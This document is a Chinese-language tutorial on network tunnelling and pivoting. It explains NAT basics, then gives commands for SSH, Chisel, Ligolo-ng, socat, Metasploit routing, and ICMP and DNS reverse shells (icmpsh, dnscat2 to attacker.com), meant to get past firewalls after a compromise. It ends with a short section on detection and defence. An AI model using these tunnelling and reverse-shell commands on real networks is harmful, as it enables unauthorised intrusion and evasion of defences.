内网隧道与代理技术
1 内网基础知识
1.1 内网外网简介
1.1.1 概念
内网
- 内网又称局域网,是指在某个局域网内由多个计算机以及网络设备构成的网络
- 我们常说的内网,往往是区别于外网的,也就是说内网一般是用于计算机内部之间的相互通讯
外网
- 也称广域网,是连接不同局域网或局域网计算机通信的远程网
- 所覆盖的范围从几十公里到几千公里
- 广域网并不等同于互联网
区别
- 内网和外网的覆盖范围不一样,内网通常范围小,外网一般指Internet网
- 内网一般是用于局域网内部的计算机之间的相互通讯,如果要访问Internet,需要借助外网,一般可以使用NAT技术实现内网访问外网
- 内网地址一般使用私有地址;外网使用公有地址
1.2 公网地址与私网地址
1.3 NAT网络转换
NAT 技术是 1994 年被提出来的。简单来说,它是把内部私有 IP 地址翻译成合法有效的网络公有 IP 地址的技术。
通过 NAT 技术接入外网如下图所示:
若专用网内部的一些主机本来已经分配到了本地 IP 地址(仅在本专用网内使用的专用地址),但现在又想和 Internet 中的主机通信(并不需要加密),可使用 NAT 技术,这种技术需要在专用网连接到 Internet 的路由器上安装 NAT 软件。
装有 NAT 软件的路由器叫作 NAT 路由器,它至少有一个有效的外部全球 IP 地址。所有使用本地 IP 地址的主机在和外界通信时,都要在 NAT 路由器上将其本地 IP 地址转换成全球 IP 地址,才能和 Internet 连接。
1.4 NAT技术的作用及其优缺点
NAT 技术不仅能解决 IP 地址不足的问题,还能有效地避免来自外部网络的攻击,隐藏并保护内部网络的计算机。
- 作用:通过将内部网络的私有IP地址翻译成全球唯一的公有 IP 地址,使内部网络可以连接到互联网等外部网络中。
- 优点:节省公共合法 IP 地址,处理地址重叠,增强灵活性与安全性。
- 缺点:时延增加;配置和维护的复杂性增加;不支持某些应用,但可以通过静态NAT映射来避免。
要真正了解 NAT 技术,必须先了解现在 IP 地址的使用情况。私有 IP 地址是指内部网络或主机的 IP 地址,公有 IP 地址是指 Internet 中全球唯一的 IP 地址。
RFC 1918 为私有网络预留出了如下 3 类 IP 地址:
- A 类 IP 地址:10.0.0.0~10.255.255.255;
- B 类 IP 地址:172.16.0.0~172.31.255.255;
- C 类 IP 地址:192.168.0.0~192.168.255.255。
上述 3 类地址不会在 Internet 中被分配,因此不必向 ISP 或注册中心申请即可在公司或企业内部自由使用。
1.5 NAT术语
1.5.1.1 内部本地地址
内部网络中的设备在内部的 IP 地址,即分配给内部网络中主机的 IP 地址。
这种地址通常来自 RFC 1918 指定的私有地址空间,即内部主机的实际地址。
1.5.1.2 内部全局地址
内部网络中的设备在外部的 IP 地址,内部全局 IP 地址对外代表一个或多个内部 IP 地址。
这种地址来自全局唯一的地址空间,通常是 ISP 提供的,即内部主机经 NAT 设备转换后去往外部的地址。
1.5.1.3 外部本地地址
外部网络中的设备在内部的 IP 地址,即在内部网络中看到的外部主机的 IP 地址。
外部本地地址通常来自 RFC 1918 定义的私有地址空间,即外部主机由 NAT 设备转换后的地址。
1.5.1.4 外部全局地址
外部网络中的设备在外部的 IP 地址,即外部网络中的主机 IP 地址。
外部全局地址通常来自全局可路由的地址空间,即外部主机的真实地址。内部网络与外部网络如下图所示。
1.6 静态NAT
NAT 的实现方式有 3 种,即静态 NAT、动态 NAT 和端口地址转换。先讲解静态 NAT。
1.6.1.1 静态NAT的定义
静态 NAT 是指将内部网络的私有 IP 地址转换为公有 IP 地址。其 IP 地址对是一对一且一成不变的,某个私有 IP 地址只能转换为某个公有 IP 地址。
借助静态 NAT,可以实现外部网络对内部网络中某些特定设备(如服务器)的访问。
1.6.1.2 静态NAT的工作过程
静态 NAT 的转换条目需要预先手动配置,建立内部本地地址和内部全局地址的一对一永久对应关系,即将一个内部本地地址和一个内部全局地址进行绑定。
借助静态 NAT,可以隐藏内部服务器的地址信息,提高网络安全性。
例如,当内部主机 PC1 访问外部主机 PC3 的资源时,内部主机静态 NAT 访问过程如下图所示。
1) 主机 PC1 以私有 IP 地址 192.168.1.10 为源地址向主机 PC3 发送报文,路由器 AR1 在接收到主机 PC1 发来的报文时,检查 NAT 表,若该地址配置有静态 NAT 映射,则进入下一步;若没有配置静态 NAT 映射,则转换不成功。
2) 当路由器 AR1 配置有静态 NAT 映射时,把源地址(192.168.1.10)替换成对应的转换地址(202.199.184.10),经转换后,数据报的源地址变为 202.199.184.10,并转发该报文。
3) 当主机 PC3(200.100.3.10)接收到报文后,将向源地址 202.199.184.10 发送响应报文,静态 NAT 响应过程如下图所示。
4) 当路由器 AR1 接收到内部全局地址的报文时,将以内部全局地址 202.199.184.10 为关键字查找 NAT 表,再将报文的目标地址转换成 192.168.1.10,同时转发给主机 PC1。
5) 主机 PC1 接收到响应报文,继续保持会话,直至会话结束。
1.7 动态NAT
1.7.1.1 动态NAT的定义
动态 NAT 是指将内部网络的私有 IP 地址转换为公有 IP 地址时,IP 地址是不确定的,所有被授权访问 Internet 的私有 IP 地址可随机转换为任何指定的合法 IP 地址。
也就是说,只要指定哪些内部地址可以进行转换,以及用哪些合法地址作为外部地址,就可以采用动态 NAT。
动态 NAT 可以使用多个合法外部地址集,当 ISP 提供的合法 IP 地址略少于网络内部的计算机数量时,可以采用动态转换的方式。
静态 NAT 是在路由器上手动配置内部本地地址与内部全局地址一对一地进行转换映射,配置完成后,该全局地址不允许其他主机使用,这在一定程度上造成了 IP 地址资源的浪费。
而动态 NAT 也是将内部本地地址与内部全局地址一对一地进行转换映射,不同的是动态 NAT 是从内部全局地址池中动态选择一个未被使用的地址对内部本地地址进行转换映射。动态地址转换条目是动态创建的,无须预先手动创建。
1.7.1.2 动态NAT的工作过程
动态 NAT 在路由器中建立一个地址池来放置可用的内部全局地址,当有内部本地地址需要转换时,会查询地址池,取出内部全局地址建立地址映射关系,实现动态 NAT。当转换完成后,释放该映射关系,将这个内部全局地址返回地址池中,以供其他用户使用。
当内部主机 PC1 访问外部主机 PC3 的资源时,内部主机动态 NAT 访问过程如下图所示。
1) 主机 PC1 以私有 IP 地址 192.168.1.10 为源地址向主机 PC3 发送报文,路由器 AR1 在接收到主机 PC1 发来的报文时,检查 NAT 地址池,发现需要对该报文的源地址进行转换,并从路由器 AR1 的地址池中选择一个未被使用的全局地址 202.199.184.10 用于转换。
2) 路由器 AR1 将内部本地地址 192.168.1.10 转换成对应的地址 202.199.184.10,经转换后,报文的源地址变为 202.199.184.10,转发该报文,并创建一个动态 NAT 表项。
3) 当主机 PC3 收到报文后,使用 200.100.3.10 作为源地址,以内部全局地址 202.199.184.10 作为目标地址来进行应答,动态 NAT 响应过程如下图所示:
4) 当路由器 AR1 接收到内部全局地址的报文时,将以内部全局地址 202.199.184.10 为关键字查找 NAT 表,再将报文的目标地址转换成 192.168.1.10,同时转发给主机 PC1。
5) 主机 PC1 接收到响应报文,继续保持会话,直至会话结束。
1.8 端口地址转换
端口地址转换(Port Address Translation,PAT)是指改变外出报文的源端口并进行端口转换。
PAT 采用端口多路复用方式,使内部网络的所有主机可共享一个合法的外部 IP 地址以实现对 Internet 的访问,从而可以最大限度地节约 IP 地址资源,同时,可隐藏网络内部的所有主机,有效避免来自 Internet 的攻击。因此,目前网络中应用得最多的就是 PAT。
PAT 是动态 NAT 的一种实现形式,PAT 利用不同的端口号将多个内部私有 IP 地址转换为一个外部 IP 地址,达到多台主机访问外网且只用一个 IP 地址的目的。
1.8.1.1 PAT的工作过程
PAT 和动态 NAT 的区别在于 PAT 只需要一个内部全局地址就可以映射多个内部本地地址,通过端口号来区分不同的主机。
与动态 NAT 一样,PAT 的地址池中也存放了很多内部全局地址,转换时从地址池中获取一个内部全局地址,在转换表中建立内部本地地址及端口号与内部全局地址及端口号的映射关系。
当内部主机 PC1 访问外部主机 PC3 的资源时,内部主机 PAT 访问过程如下图所示。
图 7 PAT访问过程
1) 主机 PC1 以私有 IP 地址 192.168.1.10 为源地址,以 6001 为端口号,向主机 PC3 发送报文,路由器 AR1 在接收到主机 PC1 发来的报文时,检查 NAT 地址池,发现需要对该报文的源地址进行转换,并从路由器 AR1 的地址池中选择一个未被使用的端口号为 4001 的全局地址 202.199.184.10 用于转换。
2) 路由器 AR1 将内部本地地址 192.168.10.10:6001 转换成对应的地址 202.199.184.10:4001,经转换后,报文的源地址变为 202.199.184.10:4001,转发该报文,并创建一个动态 NAT 表项。
3) 当主机 PC3 收到报文后,使用 200.100.3.10 作为源地址且端口号为 8001,并以内部全局地址 202.199.184.10:4001 作为目标地址来进行应答,PAT 响应过程如下图所示。
图 8 PAT响应过程
4) 当路由器 AR1 接收到内部全局地址的报文时,将以内部全局地址 202.199.184.10:4001 为关键字查找 NAT 表,并将报文的目标地址转换成 192.168.1.10:6001,同时转发给主机 PC1。
5) 主机 PC1 接收到响应报文,继续保持会话,直至会话结束。
2 代理技术
解决网络通讯不通的问题,利用跳板机建立节点后续操作
2.1 Sshuttle代理
Sshuttle 是另一个用 Python 编写的工具,它可以消除配置 proxychains 的需要。然而,这个工具仅适用于通过 SSH 进行中继,并且不提供其他通过 TOR 或 HTTPS 代理服务器进行中继的选项。 Sshuttle 对于自动化执行 iptables 和为远程主机添加中继规则非常有用。我们可以将 Ubuntu 服务器配置为中继点,并使用本节后面的示例通过 sshuttle 路由所有 Nmap 的网络流量。
sshuttle 的一个有趣用法是,我们不需要使用 proxychains 来连接到远程主机。让我们通过我们的 Ubuntu 中继主机安装 sshuttle,并配置它通过 RDP 连接到 Windows 主机。
要使用 sshuttle,我们指定选项 -r 来连接到远程机器,并使用用户名和密码。然后我们需要包含我们想要通过中继主机路由的网络或 IP
1 | sudo sshuttle -r ubuntu@10.129.202.64 内网网段 -v |
3 内网隧道技术
解决不出网协议上线的技术,用来绕过网络内有防火墙、检测等措施的限制
- 前提条件
已有控制权限:如通过漏洞(如Shiro反序列化)上传木马,但无法直接通信。
受限环境:安全设备(如防火墙、IDS)限制敏感操作或信息收集。
- 应用场景
CS/MSF无法上线:通信被拦截,无回显。
数据传输不稳定:网络出口受监控。
绕过拦截:防火墙阻止常规流量。
典型案例:通过Shiro漏洞上传木马,但因防火墙限制无法上线CS,需使用隧道技术。
小结:隧道技术不是攻击手段,而是权限获取后的辅助工具,用于数据传输和防火墙绕过。
3.1 基础概念:隧道是什么
1 | 典型场景: |
三种技术类型:
| 技术 | 用途 | 代表工具 |
|---|---|---|
| 端口转发 | 访问内网某个特定端口 | SSH -L/-R, socat |
| SOCKS 代理 | 通过代理访问内网任意目标 | SSH -D, Chisel |
| 透明隧道 | 像身处内网一样,直接用任何工具 | Ligolo-ng(最推荐) |
3.2 搭建隧道
3.2.1 SSH 隧道(有 SSH 访问时首选)
3.2.1.1 SSH
SSH 内置三种隧道模式,不需要额外工具,稳定可靠。
3.2.1.1.1 本地端口转发(-L):访问内网特定服务
语法:ssh -L <本地端口>:<目标IP>:<目标端口> user@跳板机
1 | # 场景:通过跳板机访问内网的 Web 管理后台(192.168.1.100:8443) |
3.2.1.1.2 动态端口转发(-D):SOCKS 代理访问多目标
语法:ssh -D <本地端口> user@跳板机
1 | # 建立 SOCKS5 代理 |
3.2.1.1.3 远程端口转发(-R):反向隧道(目标在 NAT 后)
语法:ssh -R <攻击机端口>:<本地IP>:<本地端口> user@攻击机(在目标机上执行)
1 | # 场景:目标机在内网无法直接被访问,建立反向连接 |
1 | #场景二:使用中转机建立反弹shell |
3.2.1.1.4 多跳隧道(-J ProxyJump)
1 | # 通过 jump1 再跳到 jump2,最终访问 target |
3.2.1.2 plink
Plink,全称为 PuTTY Link,是 PuTTY 软件包的一部分,安装后提供的 Windows 命令行 SSH 工具。类似于 SSH,Plink 也可以用于创建动态端口转发和 SOCKS 代理。在 2018 年秋季之前,Windows 没有内置的 ssh 客户端,因此用户必须自行安装。对于许多需要连接到其他主机的系统管理员来说,PuTTY 是首选工具。
1 | plink -ssh -D 9050 ubuntu@10.129.15.50 |
3.2.1.3 proxifer
另一个基于 Windows 的工具 Proxifier 可以用来通过我们创建的 SSH 会话启动 SOCKS 隧道。Proxifier 是一个 Windows 工具,为桌面客户端应用程序创建隧道网络,并允许它通过 SOCKS 或 HTTPS 代理运行,并支持代理链。可以创建一个配置文件,在其中提供 Plink 启动的 SOCKS 服务器的配置,端口为 9050。
3.2.2 HTTP 隧道,穿越防火墙神器
3.2.2.1 Chisel
适用场景:目标只开放了 80/443 等 Web 端口,无法直接建立 SSH 隧道。
Chisel 把流量封装在 HTTP/HTTPS 请求中,伪装成正常 Web 流量穿越防火墙。
3.2.2.1.1 安装
1 | # 从 GitHub Releases 下载对应平台版本 |
3.2.2.1.2 最常用配置:反向 SOCKS 代理
1 | # 攻击机(服务端)— 先启动 |
3.2.2.1.3 特定端口转发
1 | # 攻击机 |
3.2.2.1.4 伪装成合法流量
1 | # 走 443 端口 + TLS(最隐蔽) |
3.2.2.1.5 只有 Web Shell 时的使用方式
1 | # 通过 Web Shell 上传 chisel 后执行(后台运行) |
3.2.2.2 Rpivot
Rpivot 是一个用 Python2 编写的反向 SOCKS 代理工具,用于 SOCKS 隧道。Rpivot 将企业网络中的一台机器绑定到外部服务器,并在服务器端暴露客户端的本地端口。我们将以下场景,我们内部网络( 172.16.5.135 )上有一个 Web 服务器,我们想使用 rpivot 代理来访问它。
3.2.2.2.1 反向代理搭建
1 | #攻击机 |
3.2.2.2.2 使用NTLM认证连接
1 | python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password> |
3.2.2.3 regeorg
利用HTTP/HTTPS协议封装流量,伪装成正常Web请求。
- 步骤:
- 在目标Web服务器上传regeorg的PHP脚本(如
regeorg.php)。 - 本地运行regeorg客户端:
1
python regeorg.py -k <key> -u http://target.com/regeorg.php
- 配置代理(如SOCKS5),通过隧道通信。
- 在目标Web服务器上传regeorg的PHP脚本(如
- 场景:Web服务器暴露,防火墙允许HTTP流量。
3.2.2.4 Netsh.exe
1 | netsh.exe interface portproxy add v4tov4 listenport=<中转机端口> listenaddress=<中转机IP> connectport=<目标机端口> connectaddress=<目标机IP> |
3.2.3 ICMP隧道
3.2.3.1 ICMP隧道
将 TCP/UDP 数据报文封装在 ICMP 的 Echo Request (Type 8) 和 Echo Reply (Type 0) 的数据包 payload 中进行传输。由于 ICMP 协议工作在网络层,且许多企业防火墙或边界路由器为了方便排查网络故障,默认会放行 ping 请求,因此该技术常被用于绕过严格的四层端口访问控制策略。
- 场景: 目标网络边界对出站的 TCP/UDP 端口(如 80, 443, 53 等)进行了严格的 ACL 封堵,但允许出站的 ICMP 协议流量(即在目标机器上能够
ping通公网地址)。
3.2.3.2 Pingtunnel
Pingtunnel 是一款基于 Go 语言开发的跨平台 ICMP 隧道工具,支持 TCP/UDP 端口转发以及建立 SOCKS5 代理。相比于传统的 ptunnel,它在并发处理能力、稳定性和传输速度上更具优势。
步骤:
一款极简的、跨平台的 ICMP 隧道反向 Shell 工具(Reverse Shell)。其在实战中的核心优势在于:目标主机的客户端运行不需要系统管理员权限(仅攻击端需要 root 权限来捕获和伪造 ICMP 报文)。
- 步骤:
- 在攻击者服务器端,首先需要修改内核参数,关闭系统自带的 ICMP 响应(防止内核自动回复目标机的 ping 包从而导致通信序列混乱),随后启动服务端脚本:
1
2sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py <攻击机IP> <目标机公网出口IP> - 在目标主机(通常为 Windows 目标)运行客户端程序,向攻击端发起连接:
1
icmpsh.exe -t <攻击机IP>
- 在攻击者服务器端,首先需要修改内核参数,关闭系统自带的 ICMP 响应(防止内核自动回复目标机的 ping 包从而导致通信序列混乱),随后启动服务端脚本:
3.2.4 DNS隧道
3.2.4.1 dnscat2
将数据封装在DNS查询中,利用53端口通信。
在攻击者服务器运行dnscat2服务端:1
sudo ruby ./dnscat2.rb --dnshost=<攻击机IP>,port=53,domain=attacker.com --no-cache
日志中会有./dnscat --secret=b44c1922f2ad892e2b85c29be528584d attacker.com,记录下来
在目标主机运行客户端:1
2# 导入脚本
Import-Module .\dnscat2.ps11
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain attacker.com -PreSharedSecret b44c1922f2ad892e2b85c29be528584d -Exec cmd
数据通过DNS隧道传输。
3.2.5 透明代理,最推荐
Ligolo-ng 是目前最常用的内网穿透工具。
它的核心优势:创建一个 TUN 虚拟网卡,直接把内网路由到攻击机。不需要 proxychains,任何工具都可以直接访问内网 IP,就像真正在内网一样。
3.2.5.1 安装
1 | # 下载(两个文件) |
3.2.5.2 建立隧道(标准流程)
1 | # 第一步:攻击机启动 proxy |
3.2.5.3 使用(无需 proxychains!)
1 | # 直接访问内网,完全透明! |
3.2.5.4 多层内网(套娃)
1 | # 已经进入第一层内网,继续穿透到第二层(比如 10.10.10.0/24) |
3.2.6 Socat:轻量级端口转发
Socat 适合临时、快速的端口转发,特别是目标机上无法运行其他工具时。
1 | # 把本机 8080 转发到内网 192.168.1.100:80 |
配合 Payload 使用:内网机器反弹 shell 无法直接连到攻击机时,让 socat 在跳板机上做中继:
1 | # 跳板机执行 |
3.2.7 RDP隧道
评估过程中,我们有时可能仅限于使用 Windows 网络,并且无法使用 SSH 进行跳转。在这种情况下,我们需要使用适用于 Windows 操作系统的工具。SocksOverRDP 是一个使用 Windows 远程桌面服务功能中的 Dynamic Virtual Channels ( DVC )的示例工具。DVC 负责通过 RDP 连接隧道传输数据包。使用此功能的示例包括剪贴板数据传输和音频共享。然而,此功能也可以用于在网络中隧道传输任意数据包。我们可以使用 SocksOverRDP 隧道我们的自定义数据包,然后通过它进行代理。我们将使用 Proxifier 作为我们的代理服务器。
3.2.8 Meterpreter隧道搭建
假设已经成功连接跳板机并创建好载荷了,已成功连接Meterpreter并建立会话
3.2.8.1 搭建隧道
3.2.8.1.1 端口扫描
1 | meterpreter > run post/multi/gather/ping_sweep RHOSTS=<目标机网段> |
3.2.8.1.2 配置msf的socks代理
1 | msf6 > use auxiliary/server/socks_proxy |
在proxychain配置文件添加:1
socks4 127.0.0.1 9050
3.2.8.1.3 使用 AutoRoute 创建路由
1 | msf6 > use post/multi/manage/autoroute |
也可以通过从 Meterpreter 会话中运行 autoroute 来添加路由。1
meterpreter > run autoroute -s 172.16.5.0/23
3.2.8.1.4 使用 AutoRoute 列出活动路由
1 | meterpreter > run autoroute -p |
3.2.8.2 端口转发
3.2.8.2.1 建本地 TCP 中继
1 | portfwd add -l 3300 -p 3389 -r <目标机IP> |
3.2.8.3 反向端口转发
1 | #将中转机的端口转发到攻击机的端口上 |
此时将目标机要攻击的服务端口反代到中转机对应端口上即可
3.2.9 工具选型速查表
| 场景 | 推荐工具 | 原因 |
|---|---|---|
| 有 SSH 访问权,访问内网某个端口 | ssh -L |
无需额外工具,稳定 |
| 有 SSH 访问权,需访问多个内网目标 | ssh -D+ proxychains |
灵活,SOCKS 代理覆盖广 |
| 目标在 NAT 后无法直连 | ssh -R |
反向隧道建立连接 |
| 目标只开放 Web 端口 | Chisel | HTTP 隧道穿防火墙 |
| 需要访问多个内网目标且不想用 proxychains | Ligolo-ng | 透明代理,最方便 |
| 临时转发单个端口,无需安装工具 | socat | 一行命令搞定 |
| 只有 Web Shell | Chisel(后台) | 轻量,HTTP 传输 |
3.2.10 实战场景速查
3.2.10.1 场景 1:通过跳板机访问内网 Web 管理后台
1 | ssh -L 8443:192.168.1.100:8443 user@jump -N -f |
3.2.10.2 场景 2:内网 RDP 横向移动
1 | ssh -L 13389:192.168.1.200:3389 user@jump -N -f |
3.2.10.3 场景 3:只有 Web Shell,需要访问内网多个目标
1 | # 4 上传 chisel,Web Shell 中执行 |
3.2.10.4 场景 4:Pro Labs / 多层内网
1 | # 7 每层都用 Ligolo-ng agent,攻击机管理多个 session |
3.2.10.5 场景 5:Payload 反弹经过跳板机
1 | # 11 跳板机做流量中继 |
3.2.11 蓝队视角:如何检测和防御隧道
| 攻击技术 | 检测 | 防御 |
|---|---|---|
| SSH 隧道 | 监控异常 SSH 连接;检测 AllowTcpForwarding 使用 | 禁用 GatewayPorts;限制端口转发 |
| Chisel(HTTP 隧道) | 监控长连接 HTTP 请求;流量分析异常 | 深度包检测(DPI);HTTP 代理审计 |
| Ligolo-ng | 检测 TUN 接口创建;监控异常进程 | EDR 检测;禁止用户创建 TUN 接口 |
| DNS 隧道 | 监控异常 DNS 查询频率和包大小 | DNS 防火墙;限制直接 DNS 出站 |
3.2.12 关键收获
- Ligolo-ng 是多目标内网渗透的首选:透明代理,无需 proxychains,任何工具直接用,大幅提升效率。
- Chisel 是穿防火墙的利器:只要目标出向能连 HTTP/HTTPS,就能建立隧道,适用于绝大多数企业网络。
- SSH -D + proxychains 是最简单的入门配置:有 SSH 访问权时的默认选择,不需要上传任何工具。









